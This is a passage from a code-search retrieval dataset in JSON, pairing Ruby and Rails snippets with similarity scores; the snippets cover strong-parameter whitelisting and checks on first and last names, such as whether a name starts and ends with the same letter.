"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5977431",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "4d77abbae6d3557081c88dad60c735d0",
"score": "0.597591",
"text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"title": ""
},
{
"docid": "55d8ddbada3cd083b5328c1b41694282",
"score": "0.5968824",
"text": "def params_permit\n params.permit(:id)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.5965953",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.59647584",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.59647584",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "4e758c3a3572d7cdd76c8e68fed567e0",
"score": "0.59566855",
"text": "def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"title": ""
},
{
"docid": "3154b9c9e3cd7f0b297f900f73df5d83",
"score": "0.59506303",
"text": "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"title": ""
},
{
"docid": "b48f61fbb31be4114df234fa7b166587",
"score": "0.5950375",
"text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"title": ""
},
{
"docid": "c4802950f28649fdaed7f35882118f20",
"score": "0.59485626",
"text": "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "5d64cb26ce1e82126dd5ec44e905341c",
"score": "0.59440875",
"text": "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.5930872",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "da4f66ce4e8c9997953249c3ff03114e",
"score": "0.5930206",
"text": "def argument_params\n params.require(:argument).permit(:name)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5925668",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.59235454",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "be01bb66d94aef3c355e139205253351",
"score": "0.5917905",
"text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.59164816",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "d6bf948034a6c8adc660df172dd7ec6e",
"score": "0.5913821",
"text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"title": ""
},
{
"docid": "eb5b91d56901f0f20f58d574d155c0e6",
"score": "0.59128743",
"text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"title": ""
},
{
"docid": "c6a96927a6fdc0d2db944c79d520cd99",
"score": "0.5906617",
"text": "def parameters\n nil\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.59053683",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "a743e25503f1cc85a98a35edce120055",
"score": "0.59052664",
"text": "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"title": ""
},
{
"docid": "533048be574efe2ed1b3c3c83a25d689",
"score": "0.5901591",
"text": "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"title": ""
},
{
"docid": "02a61b27f286a50802d652930fee6782",
"score": "0.58987755",
"text": "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.5897456",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "238705c4afebc0ee201cc51adddec10a",
"score": "0.58970183",
"text": "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.58942604",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
}
] |
599e92d6cbf1b8bdd912dc66bfbbf7a9 | true if the first name starts and ends with the same letter | [
{
"docid": "836bd86a30077f8d0e811cde7e57eeda",
"score": "0.86656034",
"text": "def first_name_same_first_and_last_letter\n first_name[0] == first_name[-1]\n end",
"title": ""
}
] | [
{
"docid": "672af9fc3d0d7a93a4bd9a58718ee7c2",
"score": "0.7868259",
"text": "def first_name_first_letter_is_a\n first_name[0] == 'a'\n end",
"title": ""
},
{
"docid": "5dabafa5bbeb60b173aca03967fe1a5f",
"score": "0.7676191",
"text": "def has_middle_name\n @full_name.split(' ').length >= 3\n end",
"title": ""
},
{
"docid": "de3e42e0b37386907718331fcd9c83fb",
"score": "0.75715405",
"text": "def valid_name(full_name)\n names = full_name.split\n\n if names.size < 2 ||\n (names[-1].size < 3 || names[-1][-1] == \".\") ||\n names.select {|name| name.size == 1}.count > 0 ||\n names.select {|name| name[0] == name[0].downcase}.count > 0 ||\n (names.size > 2 && names[0].size == 2 && names[1].size > 2 && names[0][-1] == \".\")\n return false\n end\n\n names\nend",
"title": ""
},
{
"docid": "b0002e4db5a3c345669247e139b31152",
"score": "0.7312269",
"text": "def has_same_name?(first, last)\n is_same_word(first,self.firstname) and is_same_word(last, self.lastname)\n end",
"title": ""
},
{
"docid": "4eaf13ad821c07759a15548d615a0765",
"score": "0.73089856",
"text": "def starts_and_ends_with_same_letter?(word)\nend",
"title": ""
},
{
"docid": "b5b7e3035e47551832330a7fda9c7fb3",
"score": "0.7303164",
"text": "def first_name_before_last\n first_name < last_name\n end",
"title": ""
},
{
"docid": "2118ff8b42fd2bdb41c4af8922cd51d1",
"score": "0.72718203",
"text": "def is_valid_name(str)\n split_name = str.split(' ')\n\n first_and_last_name = split_name.length > 1; # Has a first and last name ?\n capitalized = true; # Each part of the name is properly capitalized ?\n\n split_name.each do | word |\n capitalized = word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase # set capitalized to firt letter upcase? && remaining letters downcase?\n end\n\n return first_and_last_name && capitalized\nend",
"title": ""
},
{
"docid": "bc6b7dcbd212d3d0f0a1421b29b30a83",
"score": "0.7267371",
"text": "def is_valid_name(name)\n name_arr = name.split(\" \")\n if (name_arr.length > 1)\n name_arr.each do |word|\n if !(word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase)\n return false\n end\n end\n else\n return false\n end\n true\nend",
"title": ""
},
{
"docid": "0a0a0702ecf9fb486b126c3d5dcfb427",
"score": "0.7267171",
"text": "def is_valid_name(str)\n parts = str.split(\" \")\n isTrue = true\n parts.each do |part|\n if part[0] == part[0].downcase\n isTrue = false\n end\n part[1..-1].each_char do |chr|\n if chr == chr.upcase\n isTrue = false\n end\n end\n end \n return isTrue && parts.length > 1\nend",
"title": ""
},
{
"docid": "7959f3824d4a4de9564a571ab2f9f5d8",
"score": "0.71986187",
"text": "def is_valid_name(str)\n str_arr = str.split\n check = []\n str_arr.each do |ele|\n formatted = ele[0].upcase + ele[1..-1].downcase\n check << formatted\n end\n if check.length < 2 || check.join(\" \") != str\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "060246d3c118ad2c159e32a808745538",
"score": "0.71550024",
"text": "def is_valid_name(str)\n\twords = str.split(\" \")\n \tif words.length >= 2\n \twords.each do |word|\n temp = word[0].upcase + word[1..-1].downcase\n if temp != word\n return false\n end\n end\n return true\n end\n return false\nend",
"title": ""
},
{
"docid": "0cbf3cd8d0e36fadcf54c1375d89c720",
"score": "0.7122912",
"text": "def is_valid_name(str)\n\tnames = str.split(\" \")\n \tif names.length < 2\n return false\n end\n \n \tnames.each do | name |\n if(name[0] != name[0].upcase || name[1..-1] != name[1..-1].downcase)\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "0ced152db306e40583957c841ee0c700",
"score": "0.70962703",
"text": "def is_valid_name(str)\n\tnames_arr = str.split(\" \")\n if names_arr.length < 2\n return false\n end\n\n \tnames_arr.each do |name|\n if check_case(name)\n return true\n \n else\n return false\n end\n end \nend",
"title": ""
},
{
"docid": "bb1d00668284532cf5fa19d3fde330d2",
"score": "0.70787036",
"text": "def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length < 2\n return false\n end\n\n parts.each do |part|\n if !(part[0] == part[0].upcase && part[1..-1] == part[1..-1].downcase)\n return false\n end\n end\n\n return true\nend",
"title": ""
},
{
"docid": "3096b16d43a5e5833ad51a3b55bf80f3",
"score": "0.7050568",
"text": "def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length <2\n return false;\n end\n parts.each do |word|\n if word[0] == word[0].upcase && word[1..-1]==word[1..-1].downcase\n return true\n else\n return false\n end \n end \nend",
"title": ""
},
{
"docid": "1d3be5d4bb08a4a8fdcd8f586ec5edf3",
"score": "0.6918519",
"text": "def private_name?\n fullname =~ /(\\A|#|\\.)_/\n end",
"title": ""
},
{
"docid": "a7af0ce40cb352b1299bd9005791e1e9",
"score": "0.68849725",
"text": "def letter_first_name_second_letter\n raise RuntimeError, \"#{first_name[1]} is not a valid letter! #{@full_name}\" unless @@LETTERS.include?(first_name[1])\n first_name[1]\n end",
"title": ""
},
{
"docid": "ab77e8a1109c7f44d3aa876773c1e82d",
"score": "0.68840575",
"text": "def is_valid_name(name)\n return false if name.split.length < 2\n name == format_name(name)\nend",
"title": ""
},
{
"docid": "fc78b9bf400bb3b1bdbeb7aaca3837d7",
"score": "0.68812585",
"text": "def is_valid_name(str)\n return str.include?(\" \") && format_name(str) == str\nend",
"title": ""
},
{
"docid": "2ceb9ef11ac078e9bda086febf2f8b39",
"score": "0.6878242",
"text": "def match_name?(gotten_name, requested_name)\n gotten_name.text.strip.downcase == requested_name.downcase\n end",
"title": ""
},
{
"docid": "93eb9de4eceac2a4972b1c7f8a14ee72",
"score": "0.6869483",
"text": "def first_name_is_valid?\n return false unless not_nil_and_string(self.first_name)\n return self.first_name.length > 0\n end",
"title": ""
},
{
"docid": "50927e919d4d9656b34320d0b93c7d34",
"score": "0.6867445",
"text": "def is_first_last_same word\n return true\nend",
"title": ""
},
{
"docid": "4e57da28a71f966afcd4123c3fb51003",
"score": "0.6834301",
"text": "def determine_name_parts(name)\n @first_name = name[0..name.index(\" \")].strip.downcase\n @last_name = name[name.index(\" \")..name.length].strip.downcase\n end",
"title": ""
},
{
"docid": "738b5454869ddfb9c988f0bcc2cd9207",
"score": "0.6783701",
"text": "def is_valid_name(str)\r\n\twords = str.split(\" \")\r\n \tif words.length < 2\r\n return false\r\n end\r\n \twords.each do |word|\r\n if !capitalized(word)\r\n return false\r\n end\r\n end\r\n return true\r\nend",
"title": ""
},
{
"docid": "66bb71cdfa82972b61c31279a1815391",
"score": "0.6778169",
"text": "def longer_first_name\n first_name.length > last_name.length\n end",
"title": ""
},
{
"docid": "7cd0b93ad16db2d0e952adfe32a1d6ec",
"score": "0.6755262",
"text": "def names_match?(n1, style1, n2, style2)\n f1 = style1 == :short ? n1.first : n1.firstname\n m1 = style1 == :short ? n1.middle : n1.middlename\n l1 = style1 == :short ? n1.last : n1.lastname\n \n f2 = style2 == :short ? n2.first : n2.firstname\n m2 = style2 == :short ? n2.middle : n2.middlename\n l2 = style2 == :short ? n2.last : n2.lastname\n \n # first/last name have to be provided\n return false if l1.nil? || l2.nil? || f1.nil? || f2.nil?\n return false if l1.downcase.strip != l2.downcase.strip\n \n unless @options[:skip_match_suffix]\n s1 = n1.suffix\n s2 = n2.suffix\n return false if s1 && s2 && compare_without_dot(s1, s2) == false\n end\n \n return false if !abbr_match?(f1, f2)\n m1.nil? or m2.nil? or abbr_match?(m1, m2)\n end",
"title": ""
},
{
"docid": "f79cf5e1edb0c769b808f297d5b47665",
"score": "0.6750011",
"text": "def first_name\n super || (name and name.split.first)\n end",
"title": ""
},
{
"docid": "861422cc8782b09f21a30aeb9192c905",
"score": "0.67306525",
"text": "def check_twolast_include name_array, letters\n if name_array.length < 2 # If the name lenght is inferior to two,\n return false # return a negative answer,\n else # or else,\n return name_array.last(2).all? { |char| letters.include? char } # return if the two last characters of the name are from the same group or not.\n end\nend",
"title": ""
},
{
"docid": "0411a55fe9e7526704cb5b90a96d9ccc",
"score": "0.6713472",
"text": "def fake_name(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0].downcase \n\treal_last_name = real_full_name[1].downcase\n\talphabet = [\"a\",\"b\", \"c\", \"d\", \"e\",\"f\", \"g\", \"h\",\"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\n\twhile i < length_first\n\t\tif real_first_name[i] == \"z\"\n\t\t\tfake_first_name += \"a\"\n\t\telsif real_first_name[i] == \"a\" || real_first_name[i] ==\"e\" || \n\t\t\t real_first_name[i] == \"i\" || real_first_name[i] == \"o\" || \n\t\t\t real_first_name[i] == \"u\"\n\t\t\tfake_first_name += real_first_name[i] \n\t\telsif \n\t\t\tind = alphabet.index(real_first_name[i])\n\t\t\tfake_first_name += alphabet[ind+1]\n\t\tend \n\t\ti+=1\n\t\t#fake_first_name[0] = fake_first_name[0].upcase\n\tend \n\tfake_first_name\nend",
"title": ""
},
{
"docid": "ba2478cdf2f99d9ee65bc75f3063d523",
"score": "0.6673114",
"text": "def is_letter?(letter)\r\n (Alphabet.include? letter.downcase) && (letter.length == 1)\r\n end",
"title": ""
},
{
"docid": "32e776d442407d42f932e14b583059cf",
"score": "0.66596615",
"text": "def is_personal_name?(name: nil)\n return true if name_exists?(name.to_s.split.first) || name_exists?(name.to_s.split(', ').last)\n\n # check if a name has only one word, e.g. \"FamousOrganization\", not including commas\n return false if name.to_s.split(' ').size == 1 && name.to_s.exclude?(',')\n\n # check for suffixes, e.g. \"John Smith, MD\"\n return true if %w[MD PhD].include? name.split(', ').last\n\n # check of name can be parsed into given/family name\n Namae.options[:include_particle_in_family] = true\n names = Namae.parse(name)\n\n parsed_name = names.first\n return true if parsed_name && parsed_name.given\n \n false\n end",
"title": ""
},
{
"docid": "95e619013da1ec99ae5f628f4833d3e8",
"score": "0.66185063",
"text": "def validate_first_and_last_name\n error_message = \"\"\n error_message += \"First/Last Name should be Alphanumeric, hyphen or period only!\" if $IS_PARTNER_BAC &&\n !last_name.blank? && !first_name.blank? &&\n (last_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !last_name.match(/^[A-Za-z0-9\\-\\.]*$/)) &&\n (first_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !first_name.match(/^[A-Za-z0-9\\-\\.]*$/))\n\n error_message += \"First/Last Name should be Alphanumeric, hyphen, space or period only!\" if !$IS_PARTNER_BAC &&\n facility.details[:patient_name_format_validation] &&\n !last_name.blank? && !first_name.blank? &&\n (last_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !last_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/)) &&\n (first_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !first_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/))\n \n errors.add(:base, error_message) unless error_message == \"\"\n end",
"title": ""
},
{
"docid": "c15988ad7a4f8549446e897844d1b8e8",
"score": "0.66184",
"text": "def name?\n first_name? || last_name?\n end",
"title": ""
},
{
"docid": "27f06e554850fe393a39339996c496a8",
"score": "0.6586553",
"text": "def screaming?\n upcase == self && self =~ /[A-Z]/\n end",
"title": ""
},
{
"docid": "314ed91da5c14e04b5fe3ef6ad222574",
"score": "0.65831727",
"text": "def same_letters?\n (@first.downcase.gsub(/[^a-z0-9\\s]/i, '').split(\"\") - @second.downcase.gsub(/[^a-z0-9\\s]/i, '').split(\"\")).empty?\n end",
"title": ""
},
{
"docid": "4b8ef31699960fc1251986aa70aff9fc",
"score": "0.65731245",
"text": "def valid?\n self.name.match(/^[a-zA-Z0-9_]+$/) ? true : false\n end",
"title": ""
},
{
"docid": "0afd47f8886259ecaca7f1705f33288c",
"score": "0.6571904",
"text": "def name_valid?(name)\n name.nil? || /^[A-Za-z]{2,}$/.match?(name)\n end",
"title": ""
},
{
"docid": "17c2641d07b2d3e86380cec0ea9d86cb",
"score": "0.656262",
"text": "def match?(given_names); end",
"title": ""
},
{
"docid": "66b469ad4cf0779b444d711087ff661c",
"score": "0.6555535",
"text": "def isAlpha(c)\n ('A' .. 'Z').include?(c.capitalize)\nend",
"title": ""
},
{
"docid": "8ce1fd953c33c66d35b66c725f9b37d8",
"score": "0.655223",
"text": "def first_name\n name.split.first\n end",
"title": ""
},
{
"docid": "6e157202a6bc644f4dd39a42de7828ff",
"score": "0.65476483",
"text": "def first_name_last_initial\n if name.split.count > 1\n first_name + ' ' + last_name[0].upcase + '.'\n else\n first_name\n end\n end",
"title": ""
},
{
"docid": "dd50030c8f3f3057daafb53096e1fe8d",
"score": "0.65296817",
"text": "def alpha_char\n self.last_name[0..0].downcase\n end",
"title": ""
},
{
"docid": "d8008a42ae3b8a87074a2090aaf266e0",
"score": "0.6525476",
"text": "def starts_with?(f, prefix)\n\treturn false if prefix.size > f.size\n\tf1 = f[0 .. prefix.size-1]\n\treturn f1 == prefix\nend",
"title": ""
},
{
"docid": "23540f3913d4a668bccee72c60e3fb34",
"score": "0.65235853",
"text": "def first_name\n name ? name.split(' ',2)[0] : ''\n end",
"title": ""
},
{
"docid": "23540f3913d4a668bccee72c60e3fb34",
"score": "0.65235853",
"text": "def first_name\n name ? name.split(' ',2)[0] : ''\n end",
"title": ""
},
{
"docid": "0baa986741ad592bcdb35f64b0b265b0",
"score": "0.6518081",
"text": "def starts_with?(s)\n index(s) == 0\n end",
"title": ""
},
{
"docid": "ae951c7d9e06c23f3c6f1071c30512ef",
"score": "0.65168613",
"text": "def letter?(lookAhead)\r\n\t\tlookAhead =~ /^[a-z]|[A-Z]$/\r\n\tend",
"title": ""
},
{
"docid": "fea92ea96c3c780492ca7f52eee4fd42",
"score": "0.6512705",
"text": "def miga_name?\n !(self !~ /^[A-Za-z0-9_]+$/)\n end",
"title": ""
},
{
"docid": "aecbe24e5a8ed940ac9c38ba7fa61981",
"score": "0.6509652",
"text": "def first_name_second_letter_vowel\n @@VOWELS.include?(first_name[1])\n end",
"title": ""
},
{
"docid": "33b64849719d8928683318b74eef745b",
"score": "0.65087146",
"text": "def custom_start_with?(string, substring)\n array_of_strings = string.split(\" \")\n array_of_strings.first == substring ? true : false\nend",
"title": ""
},
{
"docid": "4c615673d0893546a22c8bc42e7ace1c",
"score": "0.6493901",
"text": "def check_if_full_name(full_name, full_name_split, first_name)\n if full_name_split.length > 1\n check_name_in_database(full_name, first_name)\n else\n puts \"\"\n puts \"Give me your full name, jackass!\".print_slowly\n get_user_name\n end\nend",
"title": ""
},
{
"docid": "087be30eedceecd1aeb3d15e78596019",
"score": "0.6468914",
"text": "def first_name?\n first_name.present?\n end",
"title": ""
},
{
"docid": "7890377878a32be33717f75583067d12",
"score": "0.64680165",
"text": "def last_name_is_valid?\n return false unless not_nil_and_string(self.last_name)\n return self.last_name.length > 0\n end",
"title": ""
},
{
"docid": "c76c30522dd8a807d8945e744fb2b0c3",
"score": "0.64674443",
"text": "def valid_name?(nm)\n\t\treturn false unless (nm =~ VALID_NAME)\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "c37bd046fb26a7b2921eb997736b9ff2",
"score": "0.64579916",
"text": "def first_name\n self.name.split[0] if self.name\n end",
"title": ""
},
{
"docid": "5d4bd66ad2e379e0eb9167596908bdca",
"score": "0.64548635",
"text": "def abbr_match?(str1, str2)\n build_middlename_regexp(str1) =~ str2\n end",
"title": ""
},
{
"docid": "5f663f98ec4d28f3a95a448b4dd1dc5f",
"score": "0.6409849",
"text": "def first_name(full_name)\n full_name.partition(', ').last\n end",
"title": ""
},
{
"docid": "d1201cbc3ac1a293d2ad1e3e32568cbc",
"score": "0.64091176",
"text": "def first_name\n # self.name.split[0] atau\n \tself.name.split.first\n end",
"title": ""
},
{
"docid": "b69fc14d86d209be989ee28314566e99",
"score": "0.64017606",
"text": "def valid_name (name)\r\n /^\\w+$/.match (name)\r\n end",
"title": ""
},
{
"docid": "9968bca836a00f0639ac0883a67eb7c0",
"score": "0.63980335",
"text": "def letter?(lookAhead)\n lookAhead =~ /[A-Za-z]/\n end",
"title": ""
},
{
"docid": "2337fa9410e86926b249d0cbc4e44551",
"score": "0.6387657",
"text": "def alphabetical?(str)\r\n ('A'..'Z').to_a.include? str.upcase\r\nend",
"title": ""
},
{
"docid": "67be9b76e6c0ec2cafa7d7c47032b803",
"score": "0.6378309",
"text": "def starts_with(string, character)\n return string[0] == character\nend",
"title": ""
},
{
"docid": "4344c31c70c0091d743fd62ad638aacd",
"score": "0.63779",
"text": "def first_word_capitalized_and_ends_with_punctuation?(text)\n if text.match(/^[A-Z].*\\W$/)\n return true\n else false\n end\nend",
"title": ""
},
{
"docid": "4afe1e3cf1b02a8c61be15bc78a906b6",
"score": "0.636501",
"text": "def letter?(lookAhead)\n\t\tlookAhead =~ /[A-Za-z]/\n\tend",
"title": ""
},
{
"docid": "3c4fe4709d161f0c92ccef171b98b5ad",
"score": "0.6364085",
"text": "def fake_name_c2(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0] \n\treal_last_name = real_full_name[1]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tvowel_index = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\t\twhile i < length_last\n\t\tif real_last_name[i] == \"z\"\n\t\t\tfake_last_name += \"a\"\n\t\telsif real_last_name[i] == \"a\" || real_last_name[i] ==\"e\" || \n\t\t\t real_last_name[i] == \"i\" || real_last_name[i] == \"o\" || \n\t\t\t real_last_name[i] == \"u\"\n\t\t\tfake_last_name += real_last_name[i] \n\t\telse \n\t\t\tfake_last_name += real_last_name[i].next \n\t\tend \n\t\ti+=1\n\tend\n\tfake_last_name\nend",
"title": ""
},
{
"docid": "bd80cdeec0c8948f70f309791f50c53e",
"score": "0.6362108",
"text": "def starts_with_consonant? s\n first = s[0,1].downcase\n vowels = ['a', 'e', 'i', 'o', 'u']\n \n if vowels.include?(first)\n return false\n end\n if first =~ /[[:alpha:]]/\n return true\n end\nend",
"title": ""
},
{
"docid": "0e812fdae4432ed961789d41ea7c8b80",
"score": "0.6361889",
"text": "def first_name\n name.to_s.split(/[[:space:]]/, 2)[0]\n end",
"title": ""
},
{
"docid": "0e812fdae4432ed961789d41ea7c8b80",
"score": "0.6361889",
"text": "def first_name\n name.to_s.split(/[[:space:]]/, 2)[0]\n end",
"title": ""
},
{
"docid": "f24a980aa697e2e7526d06c16eeb54ed",
"score": "0.6357924",
"text": "def print_names_begins_with(letter)\n name_begin_with = @students.select {|student| student[:name].start_with?(letter, letter.upcase)}\n if name_begin_with.empty?\n puts \"-There are no students whose names begin with an 'A'\"\n else\n print_names(name_begin_with)\n end\nend",
"title": ""
},
{
"docid": "a1f8b2ebd23a227de26cba7500a4e217",
"score": "0.6352647",
"text": "def letter?(s)\n\ts =~ /[A-Za-z]/\nend",
"title": ""
},
{
"docid": "3006c3ad2e919b235ee70c63b9f805cc",
"score": "0.63445127",
"text": "def similar_name(other_norm_name)\n (normalized_name.start_with?(other_norm_name) || other_norm_name.start_with?(normalized_name))\n end",
"title": ""
},
{
"docid": "6d431e7f041b6b6382ba057003736af3",
"score": "0.6342261",
"text": "def letter?(char)\n char[/[a-zA-Z]/] == char\nend",
"title": ""
},
{
"docid": "d0e5e121cbea84e77362753c34b854a1",
"score": "0.6342064",
"text": "def is_valid_middle(char)\n is_alpha(char) || is_digit(char) || char == '-'\n end",
"title": ""
},
{
"docid": "0cfb2ce029c361d777987bb7b4a913b1",
"score": "0.63359433",
"text": "def carefull_name?(name)\n not !! (name =~ /\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12}/)\nend",
"title": ""
},
{
"docid": "b39cb431778322d01a471df7831363ec",
"score": "0.6334253",
"text": "def starts_with_consonant?(s)\n first_symbol = s[0]\n return false if first_symbol.nil?\n\n if %w(a e i o u A E I O U).include? first_symbol\n false # vowels\n elsif ('a'..'z').include? first_symbol.downcase\n true #consolants\n else\n false #nonletters\n end\nend",
"title": ""
},
{
"docid": "b6c428a6737dcb83c5f0fcf319a886e3",
"score": "0.6329536",
"text": "def starts_with_consonant?(s)\n\n return false if s.empty?\n s.downcase!\n s[0].match(/\\b([bcdfghjklmnprstvwxyz])+/) ? true : false\n\nend",
"title": ""
},
{
"docid": "38f4e29674d83325283035227133de2f",
"score": "0.632471",
"text": "def name_with_middle; end",
"title": ""
},
{
"docid": "400260dbf7abc0d06ab1d0501adb7670",
"score": "0.63161606",
"text": "def starts_with_consonant? s\n s_lower=s.downcase\n if /^[a-z&&[^aeiou]]/.match(s_lower) \n return true\n else \n return false\n end\nend",
"title": ""
},
{
"docid": "c6b89c7212a4716ebd11c93bb9314a77",
"score": "0.6311682",
"text": "def starts_with_consonant? s\n return false if s.empty?\n s.downcase!\n if s[0].match(/\\A[bcdfghjklmnpqrstvwxyz]/)\n return true\n else\n false\n end\nend",
"title": ""
},
{
"docid": "f600e95daf094814a71be1664820bfc0",
"score": "0.63088775",
"text": "def first_word_capitalized_and_ends_with_punctuation?(text)\n text.match(/^[A-Z].+[.!?]$/) ? true : false\nend",
"title": ""
},
{
"docid": "ffbf68ef5723e65683ccce3c5134ed1b",
"score": "0.6295646",
"text": "def shortname\n\n # Get all servers, that share the same firstname\n doppelgangers = Server.where(firstname: firstname).where.not(id: id).to_a\n return firstname unless doppelgangers.size > 0\n\n # Generate an abbreviation of the lastname until there is noone who shares\n # the same start.\n last = ''\n lastname.each_char do |c|\n last += c\n doppelgangers = doppelgangers.select{ |d| d.lastname.starts_with?(last) }\n break unless doppelgangers.size > 0\n end\n\n # Only apply a dot if the lastname was actually shortend.\n last == lastname ? \"#{firstname} #{lastname}\" : \"#{firstname} #{last}.\"\n end",
"title": ""
},
{
"docid": "a8a22b1cc09d602f0eb80635ef7da3cd",
"score": "0.62871975",
"text": "def letter?(letter)\n letter =~ /[[:alpha:]]/\n end",
"title": ""
},
{
"docid": "65ea1b1328dfa11c90bd9622e65ab427",
"score": "0.6285568",
"text": "def short_name \r\n name.gsub(/([A-Z])[^A-Z]+/, '\\1')\r\n end",
"title": ""
},
{
"docid": "730346cfc8b637bf85117415ec125516",
"score": "0.6281047",
"text": "def first_name\n name.split(\" \").first\n end",
"title": ""
},
{
"docid": "f1a5794350bd0084393cced29e5f4b91",
"score": "0.6273791",
"text": "def first_name\n name.split(' ').first\n end",
"title": ""
},
{
"docid": "5d6c1e39b4b2bdc1f0bf2bd719ab6d38",
"score": "0.6273526",
"text": "def validate_name(name)\n !name.scan(/\\D/).empty?\n end",
"title": ""
},
{
"docid": "811c12d6654259567358a28d63fe1031",
"score": "0.6272602",
"text": "def starts_with? other\n self[0, other.length] == other\n end",
"title": ""
},
{
"docid": "f509c476eff43d5d7940737d1a747e43",
"score": "0.62685704",
